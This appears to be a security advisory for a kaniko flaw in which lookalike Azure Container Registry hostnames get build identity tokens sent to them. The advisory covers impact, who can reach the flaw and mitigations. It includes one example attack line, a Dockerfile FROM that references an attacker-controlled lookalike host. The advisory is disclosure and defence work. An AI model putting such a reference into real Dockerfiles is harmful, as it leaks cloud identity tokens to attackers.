kaniko: unanchored ACR hostname match leaks Azure identity tokens to a lookalike registry

Impact

kaniko decides whether a registry is an Azure Container Registry with an unanchored regular expression, so any hostname merely containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is treated as ACR. A Dockerfile line such as FROM x.azurecr.io.attacker.com/img, or a COPY --from referencing one, makes the helper mint an Entra ID access token for Azure Resource Manager from the build's identity (service principal env vars, federated workload identity, or managed identity) and POST it to the attacker host. On a GPU build fleet this matters because image builds usually run with a shared, broadly scoped workload identity: the attacker gets ARM access with that identity's role assignments until the token expires, and can exchange it for credentials to every ACR the identity can reach - which includes the registries the cluster pulls training and inference images from. No RUN instruction and no push are needed, so a single untrusted or contributed Dockerfile is enough.

Who can reach it

Anyone who can get a Dockerfile (or a base-image reference inside one) into a kaniko build that runs with an Azure identity - a repository contributor, a tenant submitting a build job, or a CI pipeline accepting external PRs. No authentication to the build system beyond whatever submits Dockerfiles; the attacker only needs to control a hostname.

What to do

Upgrade kaniko to 1.25.20 or later and rebuild/repoint the build-executor image; builder pods pick it up on the next job, so no node drain is needed. Until then, restrict which registries builds may reference, supply explicit credentials in the Docker config for every legitimate registry so the ACR helper is never consulted, and scope the build identity's ARM role assignments to the minimum. Rotate the build identity's credentials if untrusted Dockerfiles have been built.

References

Related entries

• Kyverno: generate rules are authorized against the controller's RBAC, not the policy author'sCVE-2026-122302 · Kyverno admission controller (generate-rule permission check)Critical
• Kata Containers: Kata with Cloud Hypervisor allows a user to break the VM isolation boundaryCVE-2026-24834 · Kata ContainersCritical
• runwasi wasmtime shim: crafted OCI layer is deserialized as native code, escaping the WASI sandboxCVE-2026-47218 · containerd runwasi containerd-shim-wasmtime-v1 (precompile-cache path)Critical
• mcp-server-kubernetes: leading-dash arguments inject --server and leak the operator's kubeconfig tokenCVE-2026-61459 · mcp-server-kubernetes (kubectl_get / kubectl_describe / kubectl_delete argument handling)Critical
• Kargo: project RBAC delegation lets a user grant itself permissions it does not holdCVE-2026-61850 · Kargo (project-scoped RBAC API: Roles and ServiceAccount bindings)Critical
• Multicluster Engine cluster-proxy-addon: unauthenticated path manipulation proxies to any managed-cluster serviceCVE-2026-66794 · Red Hat Multicluster Engine for Kubernetes (cluster-proxy-addon)Critical